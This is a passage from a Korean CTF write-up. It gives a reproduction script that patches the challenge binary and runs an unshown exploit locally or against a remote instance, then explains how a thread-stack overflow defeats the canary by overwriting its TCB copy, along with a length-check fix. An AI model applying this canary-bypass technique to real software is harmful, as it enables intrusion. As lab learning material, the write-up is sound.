cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
# 1) 배포된 glibc 2.35 / ld 로 돌도록 작업 사본을 만든다 (문제 서버는 Ubuntu 22.04)
mkdir -p work
cp -f extracted/mc_thread extracted/libc.so.6 extracted/ld-linux-x86-64.so.2 work/
chmod +x work/mc_thread work/ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/work/ld-linux-x86-64.so.2" --set-rpath "$PWD/work" work/mc_thread
cd work
 
if [ $# -eq 0 ]; then
  OUT=$(timeout 120 python3 solve.py 2>&1) || true
  echo "$OUT" | tail -6
  if printf '%s' "$OUT" | grep -q 'LOCAL_SHELL_OK'; then
    echo; echo "✅ PASS (로컬 셸 획득). 진짜 flag 는 './reproduce.sh <host:port>' 로."
    exit 0
  fi
  echo; echo "❌ FAIL — 셸을 못 잡았다."; exit 1
fi
 
OUT=$(timeout 120 python3 solve.py remote "$1" 2>&1) || true
echo "$OUT" | tail -6
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '${EXPECT:-대조본 없음}')"; exit 1

patchelf가 없으면 sudo apt install patchelf로 넣으면 된다. 라이브 인스턴스는 시간이 지나면 만료되니, 포트가 거부되면 서버를 새로 받아 인자만 바꾸면 된다.

📝 결론

카나리는 "값을 모른다"에 기대는 방어다

카나리 검사가 막아 주는 것은 "덮어쓸 수는 있지만 그 값을 맞출 수는 없다"는 상황이다. 유출 구멍이 없으면 안전하다고 생각하기 쉬운데, 이 문제는 그 전제 자체를 비껴간다. 값을 알아낼 필요 없이 비교하는 두 항을 모두 우리 값으로 바꿔 버렸다.

같은 논리는 다른 곳에도 있다. 비교 대상이 공격자의 쓰기 범위 안에 함께 들어 있으면 그 비교는 검사로서 의미가 없다. 카나리든, 길이 필드든, 체크섬이든 마찬가지다.

스레드 스택은 메인 스택과 다르다

메인 스레드였다면 같은 코드라도 이 공격이 안 통한다. TCB가 스택과 다른 매핑에 있고, 그 사이에 커널이 깔아 둔 영역이 통째로 끼어 있기 때문이다. 반면 pthread_create가 만드는 스택은 TCB를 자기 꼭대기에 얹는다. 스택 아래쪽 가드 페이지도 여기서는 도움이 안 된다 — 넘치는 방향이 반대다.

막는 방법은 결국 길이 검사다

read_bytes가 size의 상한을 보기만 했으면 끝날 일이었다. -fstack-protector-strong도, NX도, RELRO도 이 오버플로우 자체를 줄이지는 못한다. 버퍼 크기를 함수에 같이 넘기고 그 안에서 자르는, 가장 재미없는 방법이 정답이다.

void read_bytes(char *buf, size_t cap, int size) {
  for (int i = 0; i < size && (size_t)(i + 1) * 8 <= cap; i++)
    if (read(0, buf + i * 8, 8) < 8)
      return;
}

막혔을 때는 죽은 자리를 먼저 본다

이 문제에서 제일 오래 걸린 부분은 카나리가 아니라 self 포인터였다. "페이로드가 맞는데 왜 죽지"에서 멈추지 않고 rax에 뭐가 들어 있는지 한 번 본 게 전부다. 0x4343434343434343이 뜬 순간 내가 채운 C라는 걸 알았고, 그때부터는 libc를 떠서 누가 그걸 역참조하는지 찾는 기계적인 작업이었다. 크래시 지점의 레지스터는 대개 이렇게 자기 입력을 그대로 돌려준다.